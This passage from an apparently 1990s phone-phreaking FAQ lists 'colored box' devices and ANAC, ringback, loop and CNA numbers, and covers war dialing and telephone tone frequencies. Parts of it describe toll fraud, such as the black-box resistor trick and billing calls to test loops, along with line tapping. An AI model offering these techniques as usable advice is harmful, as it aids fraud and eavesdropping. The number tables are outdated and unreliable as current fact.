served by a switch using out of band signalling, you can still blue
box by calling through an area served by older in-band equipment.


08. What is a Black Box?

A Black Box is a 1.8k ohm resistor placed across your phone line to
cause the phone company equipment to be unable to detect that you have
answered your telephone.  People who call you will then not be billed
for the telephone call.  Black boxes do not work under ESS.


09. What do all the colored boxes do?

Acrylic      Steal Three-Way-Calling, Call Waiting and programmable
             Call Forwarding on old 4-wire phone systems
Aqua         Drain the voltage of the FBI lock-in-trace/trap-trace
Beige        Lineman's hand set
Black        Allows the calling party to not be billed for the call
             placed
Blast        Phone microphone amplifier
Blotto       Supposedly shorts every fone out in the immediate area
Blue         Emulate a true operator by seizing a trunk with a 2600hz
             tone
Brown        Create a party line from 2 phone lines
Bud          Tap into your neighbors phone line
Chartreuse   Use the electricity from your phone line
Cheese       Connect two phones to create a diverter
Chrome       Manipulate Traffic Signals by Remote Control
Clear        A telephone pickup coil and a small amp used to make free
             calls on Fortress Phones
Color        Line activated telephone recorder
Copper       Cause crosstalk interference on an extender
Crimson      Hold button
Dark         Re-route outgoing or incoming calls to another phone
Dayglo       Connect to your neighbors phone line
Divertor     Re-route outgoing or incoming calls to another phone
DLOC         Create a party line from 2 phone lines
Gold         Dialout router
Green        Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity     Remotely activated phone tap
Jack         Touch-Tone key pad
Light        In-use light
Lunch        AM transmitter
Magenta      Connect a remote phone line to another remote phone line
Mauve        Phone tap without cutting into a line
Neon         External microphone
Noise        Create line noise
Olive        External ringer
Party        Create a party line from 2 phone lines
Pearl        Tone generator
Pink         Create a party line from 2 phone lines
Purple       Telephone hold button
Rainbow      Kill a trace by putting 120v into the phone line (joke)
Razz         Tap into your neighbors phone
Red          Make free phone calls from pay phones by generating
             quarter tones
Rock         Add music to your phone line
Scarlet      Cause a neighbors phone line to have poor reception
Silver       Create the DTMF tones for A, B, C and D
Static       Keep the voltage on a phone line high
Switch       Add hold, indicator lights, conferencing, etc..
Tan          Line activated telephone recorder
Tron         Reverse the phase of power to your house, causing your
             electric meter to run slower
TV Cable     "See" sound waves on your TV
Urine        Create a capacitative disturbance between the ring and
             tip wires in another's telephone headset
Violet       Keep a payphone from hanging up
White        Portable DTMF keypad
Yellow       Add an extension phone

Box schematics may be retrieved from these FTP sites:

ftp.netcom.com          /pub/br/bradleym
ftp.netcom.com          /pub/va/vandal
ftp.winternet.com       /users/craigb


10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.


11. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it.  If that fails, try the
common numbers like 311, 958 and 200-222-2222.  If you find the ANAC
number for your area, please let us know.

Note that many times the ANAC number will vary for different switches
in the same city.  The geographic naming on the list is NOT intended
to be an accurate reference for coverage patterns, it is for
convenience only.

Many companies operate 800 number services which will read back to you
the number from which you are calling.  Many of these require
navigating a series of menus to get the phone number you are looking
for.

  [phone]   A voice mail system
  [phone]   A phone sex line
  [phone]   Info Access Telephone Company's Automated Blocking Line
  [phone]   A phone sex line
  [phone]   (800)MY-ANI-IS
N [phone]   Unknown

An non-800 ANAC that works nationwide is 404-988-9664.  The one catch
with this number is that it must be dialed with the AT&T Carrier
Access Code 10732.

Another non-800 nationwide ANAC is Glen Robert of Full Disclosure
Magazine's number, 10555-1-708-356-9646.

Please use local ANAC numbers if you can, as abuse or overuse kills
800 ANAC numbers.

  NPA  ANAC number      Geographic area
  ---  ---------------  ---------------------------------------------
  201  958              Hackensack/Jersey City/Newark/Paterson, NJ
  202  811              District of Columbia
  203  970              CT
N 205  300-222-2222     Birmingham, AL
N 205  300-555-5555     Many small towns in AL
N 205  300-648-1111     Dora, AL
N 205  300-765-4321     Bessemer, AL
N 205  300-798-1111     Forestdale, AL
N 205  300-833-3333     Birmingham
N 205  557-2311         Birmingham, AL
N 205  811              Pell City/Cropwell/Lincoln, AL
N 205  841-1111         Tarrant, AL
  205  908-222-2222     Birmingham, AL
  206  411              WA (Not US West)
  207  958              ME
  209  830-2121         Stockton, CA
  209  211-9779         Stockton, CA
  212  958              Manhattan, NY
U 213  114              Los Angeles, CA (GTE)
  213  1223             Los Angeles, CA (Some 1AESS switches)
  213  211-2345         Los Angeles, CA (English response)
  213  211-2346         Los Angeles, CA (DTMF response)
N 213  760-2???         Los Angeles, CA (DMS switches)
  213  61056            Los Angeles, CA
  214  570              Dallas, TX
  214  790              Dallas, TX (GTE)
  214  970-222-2222     Dallas, TX
  214  970-611-1111     Dallas, TX (Southwestern Bell)
  215  410-xxxx         Philadelphia, PA
  215  511              Philadelphia, PA
  215  958              Philadelphia, PA
N 216  331              Akron/Canton/Cleveland/Lorain/Youngstown, OH
N 216  959-9892         Akron/Canton/Cleveland/Lorain/Youngstown, OH
  217  200-xxx-xxxx     Champaign-Urbana/Springfield, IL
  219  550              Gary/Hammond/Michigan City/Southbend, IN
  219  559              Gary/Hammond/Michigan City/Southbend, IN
  301  958-9968         Hagerstown/Rockville, MD
  310  114              Long Beach, CA (On many GTE switches)
  310  1223             Long Beach, CA (Some 1AESS switches)
  310  211-2345         Long Beach, CA (English response)
  310  211-2346         Long Beach, CA (DTMF response)
  312  200              Chicago, IL
  312  290              Chicago, IL
  312  1-200-8825       Chicago, IL (Last four change rapidly)
  312  1-200-555-1212   Chicago, IL
  313  200-200-2002     Ann Arbor/Dearborn/Detroit, MI
  313  200-222-2222     Ann Arbor/Dearborn/Detroit, MI
  313  200-xxx-xxxx     Ann Arbor/Dearborn/Detroit, MI
  313  200200200200200  Ann Arbor/Dearborn/Detroit, MI
  314  410-xxxx#        Columbia/Jefferson City/St.Louis, MO
  315  953              Syracuse/Utica, NY
  315  958              Syracuse/Utica, NY
  315  998              Syracuse/Utica, NY
  317  310-222-2222     Indianapolis/Kokomo, IN
  317  559-222-2222     Indianapolis/Kokomo, IN
  317  743-1218         Indianapolis/Kokomo, IN
  401  200-200-4444     RI
  401  222-2222         RI
  402  311              Lincoln, NE
  404  311              Atlanta, GA
  404  940-xxx-xxxx     Atlanta, GA
  404  990              Atlanta, GA
  405  890-7777777      Enid/Oklahoma City, OK
  405  897              Enid/Oklahoma City, OK
  407  200-222-2222     Orlando/West Palm Beach, FL
  408  300-xxx-xxxx     San Jose, CA
  408  760              San Jose, CA
  408  940              San Jose, CA
  409  951              Beaumont/Galveston, TX
  409  970-xxxx         Beaumont/Galveston, TX
  410  200-6969         A
  410  200-555-1212     A
  410  811              Annapolis/Baltimore, MD
  412  711-6633         Pittsburgh, PA
  412  711-4411         Pittsburgh, PA
  412  999-xxxx         Pittsburgh, PA
  413  958              Pittsfield/Springfield, MA
  413  200-555-5555     Pittsfield/Springfield, MA
  414  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI
  415  200-555-1212     San Francisco, CA
  415  211-2111         San Francisco, CA
  415  2222             San Francisco, CA
  415  640              San Francisco, CA
  415  760-2878         San Francisco, CA
  415  7600-2222        San Francisco, CA
  419  311              Toledo, OH
  502  2002222222       Frankfort/Louisville/Paducah/Shelbyville, KY
  502  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville, KY
  503  611              Portland, OR
  503  999              Portland, OR (GTE)
  504  99882233         Baton Rouge/New Orleans, LA
  504  201-269-1111     Baton Rouge/New Orleans, LA
  504  998              Baton Rouge/New Orleans, LA
  504  99851-0000000000 Baton Rouge/New Orleans, LA
  508  958              Fall River/New Bedford/Worchester, MA
  508  200-222-1234     Fall River/New Bedford/Worchester, MA
  508  200-222-2222     Fall River/New Bedford/Worchester, MA
  508  26011            Fall River/New Bedford/Worchester, MA
  509  560              Spokane/Walla Walla/Yakima, WA
  512  830              Austin/Corpus Christi, TX
  512  970-xxxx         Austin/Corpus Christi, TX
  515  5463             Des Moines, IA
  515  811              Des Moines, IA
  516  958              Hempstead/Long Island, NY
  516  968              Hempstead/Long Island, NY
  517  200-222-2222     Bay City/Jackson/Lansing, MI
  517  200200200200200  Bay City/Jackson/Lansing, MI
  518  997              Albany/Schenectady/Troy, NY
  518  998              Albany/Schenectady/Troy, NY
  603  200-222-2222     NH
  606  997-555-1212     Ashland/Winchester, KY
  606  711              Ashland/Winchester, KY
  607  993              Binghamton/Elmira, NY
  609  958              Atlantic City/Camden/Trenton/Vineland, NJ
  610  958              Allentown/Reading, PA
  612  511              Minneapolis/St.Paul, MN
N 614  200              Columbus/Steubenville, OH
N 614  571              Columbus/Steubenville, OH
  615  200200200200200  Chatanooga/Knoxville/Nashville, TN
  615  2002222222       Chatanooga/Knoxville/Nashville, TN
  615  830              Nashville, TN
  616  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI
  617  200-222-1234     Boston, MA
  617  200-222-2222     Boston, MA
  617  200-444-4444     Boston, MA (Woburn, MA)
  617  220-2622         Boston, MA
  617  958              Boston, MA
  618  200-xxx-xxxx     Alton/Cairo/Mt.Vernon, IL
  618  930              Alton/Cairo/Mt.Vernon, IL
  619  211-2001         San Diego, CA
  703  811              Alexandria/Arlington/Roanoke, VA
N 704  311              Asheville/Charlotte, NC
  708  1-200-555-1212   Chicago/Elgin, IL
  708  1-200-8825       Chicago/Elgin, IL (Last four change rapidly)
N 708  200-6153         Chicago/Elgin, IL
N 708  724-9951         Chicago/Elgin, IL
N 708  356-9646         Chicago/Elgin, IL
N 713  380              Houston, TX
  713  970-xxxx         Houston, TX
N 713  811              Humble, TX
  714  114              Anaheim, CA (GTE)
  714  211-2121         Anaheim, CA (PacBell)
  714  211-2222         Anaheim, CA (Pacbell)
  716  511              Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
N 716  990              Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
  717  958              Harrisburg/Scranton/Wilkes-Barre, PA
  718  958              Bronx/Brooklyn/Queens/Staten Island, NY
  802  2-222-222-2222   Vermont
  802  200-222-2222     Vermont
  802  1-700-222-2222   Vermont
  802  111-2222         Vermont
N 805  114              Bakersfield/Santa Barbara, CA
  805  211-2345         Bakersfield/Santa Barbara, CA
  805  211-2346         Bakersfield/Santa Barbara, CA (Returns DTMF)
  805  830              Bakersfield/Santa Barbara, CA
  806  970-xxxx         Amarillo/Lubbock, TX
  810  200200200200200  Flint/Pontiac/Southfield/Troy, MI
  812  410-555-1212     Evansville, IN
  813  311              Ft. Meyers/St. Petersburg/Tampa, FL
  815  200-xxx-xxxx     La Salle/Rockford, IL
  815  290              La Salle/Rockford, IL
  817  211              Ft. Worth/Waco, TX
  817  970-611-1111     Ft. Worth/Waco, TX  (Southwestern Bell)
  818  1223             Pasadena, CA (Some 1AESS switches)
  818  211-2345         Pasadena, CA (English response)
  818  211-2346         Pasadena, CA (DTMF response)
N 903  970-611-1111     Denison, TX
  906  1-200-222-2222   Marquette/Sault Ste. Marie, MI
  908  958              New Brunswick, NJ
  910  200              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
  910  311              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
  910  988              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
  914  990-1111         Peekskill/Poughkeepsie/White Plains/Yonkers, NY
  915  970-xxxx         Abilene/El Paso, TX
N 916  211-2222         Sacramento, CA (Pac Bell)
N 916  461              Sacramento, CA (Roseville Telepohone)
  919  200              Durham, NC
  919  711              Durham, NC

  Canada:
  204  644-xxxx         Manitoba
  306  115              Saskatchewan, Canada
  403  311              Alberta, Yukon and N.W. Territory
  403  908-222-2222     Alberta, Yukon and N.W. Territory
  403  999              Alberta, Yukon and N.W. Territory
  416  997-xxxx         Toronto, Ontario
N 506  1-555-1313       New Brunswick
  514  320-xxxx         Montreal, Quebec
  519  320-xxxx         London, Ontario
  604  1116             British Columbia, Canada
  604  1211             British Columbia, Canada
  604  211              British Columbia, Canada
  613  320-2232         Ottawa, Ontario
  705  320-4567         North Bay/Saulte Ste. Marie, Ontario

  Australia:
  [phone]      Victoria 03 area
  [phone]            All major capital cities

  United Kingdom:
  175


12. What is a ringback number?

A ringback number is a number that you call that will immediately
ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone.  You may then
hang up.  You will be called back seconds later.


13. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you
are calling.  A '?' means that the number varies from switch to switch
in the area, or changes from time to time.  Try all possible
combinations.

If the ringback for your NPA is not listed, try common ones such as
954, 957 and 958.  Also, try using the numbers listed for other NPA's
served by your telephone company.

  NPA  Ringback number  Geographic area
  ---  ---------------  ---------------------------------------------
  201  55?-xxxx         Hackensack/Jersey City/Newark/Paterson, NJ
  202  958-xxxx         District of Columbia
U 203  99?-xxxx         CT
N 208  99xxx-xxxx       ID
  213  1-95x-xxxx       Los Angeles, CA
N 216  551-XXXX         Akron/Canton/Cleveland/Lorain/Youngstown, OH
  219  571-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN
  219  777-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN
  301  579-xxxx         Hagerstown/Rockville, MD
  301  958-xxxx         Hagerstown/Rockville, MD
  303  99X-xxxx         Grand Junction, CO
  304  998-xxxx         WV
  305  999-xxxx         Ft. Lauderdale/Key West/Miami, FL
  312  511-xxxx         Chicago, IL
  312  511-xxx-xxxx     Chicago, IL
  312  57?-xxxx         Chicago, IL
  315  98x-xxxx         Syracuse/Utica, NY
  317  777-xxxx         Indianapolis/Kokomo, IN
  317  yyy-xxxx         Indianapolis/Kokomo, IN (y=3rd digit of phone number)
  319  79x-xxxx         Davenport/Dubuque, Iowa
  401  98?-xxxx         RI
  404  450-xxxx         Atlanta, GA
  407  988-xxxx         Orlando/West Palm Beach, FL
  412  985-xxxx         Pittsburgh, PA
  414  977-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI
  414  978-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI
  415  350-xxxx         San Francisco, CA
  417  551-xxxx         Joplin/Springfield, MO
N 501  221-xxx-xxxx     AR
  501  721-xxx-xxxx     AR
  502  988              Frankfort/Louisville/Paducah/Shelbyville, KY
N 503  541-XXXX         OR
  504  99x-xxxx         Baton Rouge/New Orleans, LA
  504  9988776655       Baton Rouge/New Orleans, LA
  505  59?-xxxx         New Mexico
  512  95X-xxxx         Austin, TX
  513  99?-xxxx         Cincinnati/Dayton, OH
N 513  955-xxxx         Cincinnati/Dayton, OH
  516  660-xxx-xxxx     Hempstead/Long Island, NY
  601  777-xxxx         MS
  609  55?-xxxx         Atlantic City/Camden/Trenton/Vineland, NJ
  612  511              Minneapolis/St.Paul, MN
  612  999-xxx-xxxx     Minneapolis/St.Paul, MN
N 614  998-xxxx         Columbus/Steubenville, OH
  615  930-xxxx         Chatanooga/Knoxville/Nashville, TN
  616  946-xxxx         Battle Creek/Grand Rapids/Kalamazoo, MI
  619  331-xxxx         San Diego, CA
  619  332-xxxx         San Diego, CA
  703  958-xxxx         Alexandria/Arlington/Roanoke, VA
N 708  511-xxxx         Chicago/Elgin, IL
  714  330?             Anaheim, CA (GTE)
  714  33?-xxxx         Anaheim, CA (PacBell)
  716  981-xxxx         Rochester, NY (Rochester Tel)
N 718  660-xxxx         Bronx/Brooklyn/Queens/Staten Island, NY
  719  99x-xxxx         Colorado Springs/Leadville/Pueblo, CO
  801  938-xxxx         Utah
  801  939-xxxx         Utah
N 802  987-xxxx         Vermont
  804  260              Charlottesville/Newport News/Norfolk/Richmond, VA
  805  114              Bakersfield/Santa Barbara, CA
  805  980-xxxx         Bakersfield/Santa Barbara, CA
  810  951-xxx-xxxx     Pontiac/Southfield/Troy, MI
  813  711              Ft. Meyers/St. Petersburg/Tampa, FL
U 817  971              Ft. Worth/Waco, TX (Flashhook, then 2#)
  906  951-xxx-xxxx     Marquette/Sault Ste. Marie, MI
  908  55?-xxxx         New Brunswick, NJ
  908  953              New Brunswick, NJ
N 913  951-xxxx         Lawrence/Salina/Topeka, KS
  914  660-xxxx         Peekskill/Poughkeepsie/White Plains/Yonkers, NY

  Canada:
  416  57x-xxxx         Toronto, Ontario
  416  99x-xxxx         Toronto, Ontario
  416  999-xxx-xxxx     Toronto, Ontario
N 506  572+xxx-xxxx     New Brunswick
  514  320-xxx-xxxx     Montreal, Quebec
  613  999-xxx-xxxx     Ottawa, Ontario
  705  999-xxx-xxxx     North Bay/Saulte Ste. Marie, Ontario

  Australia: +61 199
U Brazil: 109 or 199
  New Zealand: 137
  Sweden: 0058
  United Kingdom: 174 or 1744 or 175 or 0500-89-0011


14. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
                                   by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999.  They are used by the phone company for testing.  What
good do loops do us?  Well, they are cool in a few ways.  Here is a
simple use of loops.  Each loop has two ends, a 'high' end, and a
'low' end.  One end gives a (usually) constant, loud tone when it is
called. The other end is silent.  Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop.  Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you.  Here's
what you can use working loops for:  billing phone calls!  First, call
the end that gives the loud tone.  Then if the operator or someone
calls the other end, the tone will go quiet.  Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever.  The operator thinks that she just called you, and
that's it!  Now the phone bill will go to the loop, and your local
RBOC will get the bill!  Use this technique in moderation, or the loop
may go down.  Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.


15. What is a loop in my area?

Many of these loops are no longer functional.  If you are local
to any of these loops, please try them out an e-mail me the results
of your research.

  NPA    High      Low
  ---  --------  --------
  201  879-9929  879-9930
  201  347-9929  347-9930
  206  827-0018  827-0019
  206  988-0020  988-0022
  208  862-9996  862-9997
  209  732-0044  732-0045
  201  666-9929  666-9930
N 210  993-9929  993-9930
N 210  330-9929  330-9930
N 210  333-9929  333-9930
N 210  376-9929  376-9930
N 210  467-9929  467-9930
  212  220-9977  220-9979
  212  283-9977  283-9979
  212  283-9977  283-9997
  212  352-9900  352-9906
  212  365-9977  365-9979
  212  529-9900  529-9906
  212  562-9977  562-9979
  212  986-9977  986-9979
  213  360-1118  360-1119
  213  365-1118  365-1119
  213  455-0002  455-XXXX
  213  455-0002  455-xxxx
  213  546-0002  546-XXXX
  213  546-0002  546-xxxx
  213  549-1118  549-1119
  214  291-4759  291-4757
  214  299-4759  299-4757
  305  778-9952  778-9951
  305  964-9951  964-9952
  307  468-9999  468-9998
  308  357-0004  357-0005
N 310  365-1118  365-1119
N 310  445-0002  445-????
N 310  455-0002  455-????
N 310  545-0002  545-????
N 310  546-0002  546-????
N 312  262-9902  262-9903
  313  224-9996  224-9997
  313  225-9996  225-9997
  313  234-9996  234-9997
  313  237-9996  237-9997
  313  256-9996  256-9997
  313  272-9996  272-9997
  313  273-9996  273-9997
  313  277-9996  277-9997
  313  281-9996  281-9997
  313  292-9996  292-9997
  313  299-9996  299-9997
  313  321-9996  321-9997
  313  326-9996  326-9997
  313  356-9996  356-9997
  313  362-9996  362-9997
  313  369-9996  369-9997
  313  388-9996  388-9997
  313  397-9996  397-9997
  313  399-9996  399-9997
  313  445-9996  445-9997
  313  465-9996  465-9997
  313  471-9996  471-9997
  313  474-9996  474-9997
  313  477-9996  477-9997
  313  478-9996  478-9997
  313  483-9996  483-9997
  313  497-9996  497-9997
  313  526-9996  526-9997
  313  552-9996  552-9997
  313  556-9996  556-9997
  313  561-9996  561-9997
  313  569-9996  569-9996
  313  575-9996  575-9997
  313  577-9996  577-9997
  313  585-9996  585-9997
  313  591-9996  591-9997
  313  621-9996  621-9997
  313  626-9996  626-9997
  313  644-9996  644-9997
  313  646-9996  646-9997
  313  647-9996  647-9997
  313  649-9996  649-9997
  313  663-9996  663-9997
  313  665-9996  665-9997
  313  683-9996  683-9997
  313  721-9996  721-9997
  313  722-9996  722-9997
  313  728-9996  728-9997
  313  731-9996  731-9997
  313  751-9996  751-9997
  313  776-9996  776-9997
  313  781-9996  781-9997
  313  787-9996  787-9997
  313  822-9996  822-9997
  313  833-9996  833-9997
  313  851-9996  851-9997
  313  871-9996  871-9997
  313  875-9996  875-9997
  313  886-9996  886-9997
  313  888-9996  888-9997
  313  898-9996  898-9997
  313  934-9996  934-9997
  313  942-9996  942-9997
  313  963-9996  963-9997
  313  977-9996  977-9997
  315  673-9995  673-9996
  315  695-9995  695-9996
  402  422-0001  422-0002
  402  422-0003  422-0004
  402  422-0005  422-0006
  402  422-0007  422-0008
  402  572-0003  572-0004
  402  779-0004  779-0007
  406  225-9902  225-9903
  517  422-9996  422-9997
  517  423-9996  423-9997
  517  455-9996  455-9997
  517  563-9996  563-9997
  517  663-9996  663-9997
  517  851-9996  851-9997
  609  921-9929  921-9930
  609  994-9929  994-9930
  616  997-9996  997-9997
N 708  724-9951  724-????
  713  224-1499  759-1799
  713  324-1499  324-1799
  713  342-1499  342-1799
  713  351-1499  351-1799
  713  354-1499  354-1799
  713  356-1499  356-1799
  713  442-1499  442-1799
  713  447-1499  447-1799
  713  455-1499  455-1799
  713  458-1499  458-1799
  713  462-1499  462-1799
  713  466-1499  466-1799
  713  468-1499  468-1799
  713  469-1499  469-1799
  713  471-1499  471-1799
  713  481-1499  481-1799
  713  482-1499  482-1799
  713  484-1499  484-1799
  713  487-1499  487-1799
  713  489-1499  489-1799
  713  492-1499  492-1799
  713  493-1499  493-1799
  713  524-1499  524-1799
  713  526-1499  526-1799
  713  555-1499  555-1799
  713  661-1499  661-1799
  713  664-1499  664-1799
  713  665-1499  665-1799
  713  666-1499  666-1799
  713  667-1499  667-1799
  713  682-1499  976-1799
  713  771-1499  771-1799
  713  780-1499  780-1799
  713  781-1499  997-1799
  713  960-1499  960-1799
  713  977-1499  977-1799
  713  988-1499  988-1799
  805  528-0044  528-0045
  805  544-0044  544-0045
  805  773-0044  773-0045
  808  235-9907  235-9908
  808  239-9907  239-9908
  808  245-9907  245-9908
  808  247-9907  247-9908
  808  261-9907  261-9908
  808  322-9907  322-9908
  808  328-9907  328-9908
  808  329-9907  329-9908
  808  332-9907  332-9908
  808  335-9907  335-9908
  808  572-9907  572-9908
  808  623-9907  623-9908
  808  624-9907  624-9908
  808  668-9907  668-9908
  808  742-9907  742-9908
  808  879-9907  879-9908
  808  882-9907  882-9908
  808  885-9907  885-9908
  808  959-9907  959-9908
  808  961-9907  961-9908
  810  362-9996  362-9997
  813  385-9971  385-xxxx
N 908  254-9929  254-9930
N 908  558-9929  558-9930
N 908  560-9929  560-9930
  908  776-9930  776-9930


16. What is a CNA number?

CNA stands for Customer Name and Address.  The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number.  If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find its phone
number and then call the CNA operator to see who owns it and where
they live.

Normal CNA numbers are available only to telephone company personnel.
Private citizens may legally get CNA information from private
companies.  Two such companies are:

Unidirectory    [phone]
Telename        [phone]

Note that these are 900 numbers, and will cost you approximately one
dollar per minute.

If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
available to the general public.  The number is 796-9600.  The cost is
$.35/call and can look up two numbers per call.

If you are in 415, Pacific Bell offers a public access CNA service at
[phone].

17. What is the telephone company CNA number for my area?

  203  [phone]         CT
  513  [phone]         Cincinnati/Dayton, OH
  516  [phone]         Hempstead/Long Island, NY
N 518  [phone]         Albany/Schenectady/Troy, NY
  614  [phone]         Columbus/Steubenville, OH
  813  [phone]         Ft. Meyers/St. Petersburg/Tampa, FL


18. What are some numbers that always ring busy?

  216  xxx-9887              Akron/Canton/Cleveland/Lorain/Youngstown, OH
N 303  431-0000              Denver, CO
N 303  866-8660              Denver, CO
  316  952-7265              Dodge City/Wichita, KS
  501  377-99xx              AR
  719  472-3773              Colorado Springs/Leadville/Pueblo, CO
  805  255-0699              Bakersfield/Santa Barbara, CA
  818  885-0699              Pasadena, CA
  906  632-9999              Marquette/Sault Ste. Marie, MI
  906  635-9999              Marquette/Sault Ste. Marie, MI
  914  576-9903              Peekskill/Poughkeepsie/White Plains/Yonkers, NY


19. What are some numbers that temporarily disconnect phone service?

  314  511        Columbia/Jefferson City/St.Louis, MO (1 minute)
  404  420        Atlanta, GA                          (5 minutes)
  405  953        Enid/Oklahoma City, OK               (1 minute)
  407  511        Orlando/West Palm Beach, FL          (1 minute)
  512  200        Austin/Corpus Christi, TX            (1 minute)
  516  480        Hempstead/Long Island, NY            (1 minute)
  603  980        NH
N 614  xxx-9894   Columbus/Steubenville, OH
N 805  119        Bakersfield/Santa Barbara, CA        (3 minutes)
  919  211 or 511 Durham, NC                           (10 min - 1 hour)


20. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer.  Currently, the best war dialer available to
PC-DOS users is ToneLoc from Minor Threat and Mucho Maas.  ToneLoc can
be ftp'd from ftp.paranoia.com /pub/toneloc/.

A war dialer will dial a range of numbers and log what it finds at
each number.  You can then only dial up the numbers that the war
dialer marked as carriers or tones.


21. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

-BQ-
In some places, scanning has been made illegal.  It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once.  It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer.  Some central offices have been
known to react strangely when people start scanning.  Sometimes you're
unable to get a dialtone for hours after you start scanning.  But
there is no uniform policy.  The best thing to do is to first find out
if you've got some crazy law saying you can't do it.  If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.
-EQ-

It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO.  It is now illegal to place a call
in Colorado Springs without the intent to communicate.


22. Where can I purchase a lineman's handset?

Contact East
335 Willow Street
North Andover, MA 01845-5995
[phone]

Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
[phone]


23. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency.  These are the tones you
get when you press a key on your telephone touchpad.  The tone of the
button is the sum of the column and row tones.  The ABCD keys do not
exist on standard telephones.

         1209 1336 1477 1633

     697   1    2    3    A

     770   4    5    6    B

     852   7    8    9    C

     941   *    0    #    D


24. What are the frequencies of the telephone tones?

Type                Hz          On      Off
---------------------------------------------------------------------
Dial Tone         350 & 400     ---     ---
Busy Signal       480 & 620     0.5     0.5
Toll Congestion   480 & 620     0.2     0.3
Ringback (Normal) 440 & 480     2.0     4.0
Ringback (PBX)    440 & 480     1.5     4.5
Reorder (Local)   480 & 620     3.0     2.0
Invalid Number    200 & 400
Hang Up Warning 1400 & 2060     0.1     0.1
Hang Up         2450 & 2600     ---     ---


25. What are all of the * (LASS) codes?

Local Area Signalling Services (LASS) and Custom Calling Feature
Control Codes:

(These appear to be standard, but may be changed locally)

Service                     Tone    Pulse/rotary   Notes
--------------------------------------------------------------------------
Assistance/Police           *12         n/a        [1]
Cancel forwarding           *30         n/a        [C1]
Automatic Forwarding        *31         n/a        [C1]
Notify                      *32         n/a        [C1] [2]
Intercom Ring 1 (..)        *51         1151       [3]
Intercom Ring 2 (.._)       *52         1152       [3]
Intercom Ring 3 (._.)       *53         1153       [3]
Extension Hold              *54         1154       [3]
Customer Originated Trace   *57         1157
Selective Call Rejection    *60         1160       (or Call Screen)
Selective Distinct Alert    *61         1161
Selective Call Acceptance   *62         1162
Selective Call Forwarding   *63         1163
ICLID Activation            *65         1165
Call Return (outgoing)      *66         1166
Number Display Blocking     *67         1167       [4]
Computer Access Restriction *68         1168
Call Return (incoming)      *69         1169
Call Waiting disable        *70         1170       [4]
No Answer Call Transfer     *71         1171
Usage Sensitive 3 way call  *71         1171
Call Forwarding: start      *72 or 72#  1172
Call Forwarding: cancel     *73 or 73#  1173
Speed Calling (8 numbers)   *74 or 74#  1174
Speed Calling (30 numbers)  *75 or 75#  1175
Anonymous Call Rejection    *77         1177       [5] [M: *58]
Call Screen Disable         *80         1160       (or Call Screen) [M: *50]
Selective Distinct Disable  *81         1161       [M: *51]
Select. Acceptance Disable  *82         1162
Select. Forwarding Disable  *83         1163       [M: *53]
ICLID Disable               *85         1165
Call Return (cancel out)    *86         1186       [6] [M: *56]
Anon. Call Reject (cancel)  *87         1187       [5] [M: *68]
Call Return (cancel in)     *89         1189       [6] [M: *59]

Notes:

[C1]     - Means code used for Cellular One service
[1]      - for cellular in Pittsburgh, PA A/C 412 in some areas
[2]      - indicates that you are not local and maybe how to reach you
[3]      - found in Pac Bell territory; Intercom ring causes a distinctive
           ring to be generated on the current line; Hold keeps a call
           connected until another extension is picked up
[4]      - applied once before each call
[5]      - A.C.R. blocks calls from those who blocked Caller ID
           (used in C&P territory, for instance)
[6]      - cancels further return attempts
[M: *xx] - alternate code used for MLVP (multi-line variety package)
           by Bellcore. It goes by different names in different RBOCs.
           In Bellsouth it is called Prestige. It is an arrangement of
           ESSEX like features for single or small multiple line groups.

           The reason for different codes for some features in MLVP is that
           call-pickup is *8 in MLVP so all *8x codes are reaasigned *5x


26. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones.
The new 900mhz cordless phones are not covered.

Channel    Handset Transmit    Base Transmit
-------    ----------------    -------------
   1          49.670mhz          46.610mhz
   2          49.845             46.630
   3          49.860             46.670
   4          49.770             46.710
   5          49.875             46.730
   6          49.830             46.770
   7          49.890             46.830
   8          49.930             46.870
   9          49.990             46.930
  10          49.970             46.970


27. What is Caller-ID?

This FAQ answer is stolen from Rockewell:

Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
